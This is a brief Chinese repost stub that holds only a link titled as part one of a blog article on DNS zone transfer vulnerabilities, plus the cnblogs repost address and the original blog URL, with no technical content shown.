[DNS域传送漏洞(一) | 李劼杰的博客][DNS_ _]

转载于:https://www.cnblogs.com/Risk2S/p/11460920.html

[DNS_ _]: http://www.lijiejie.com/dns-zone-transfer-1/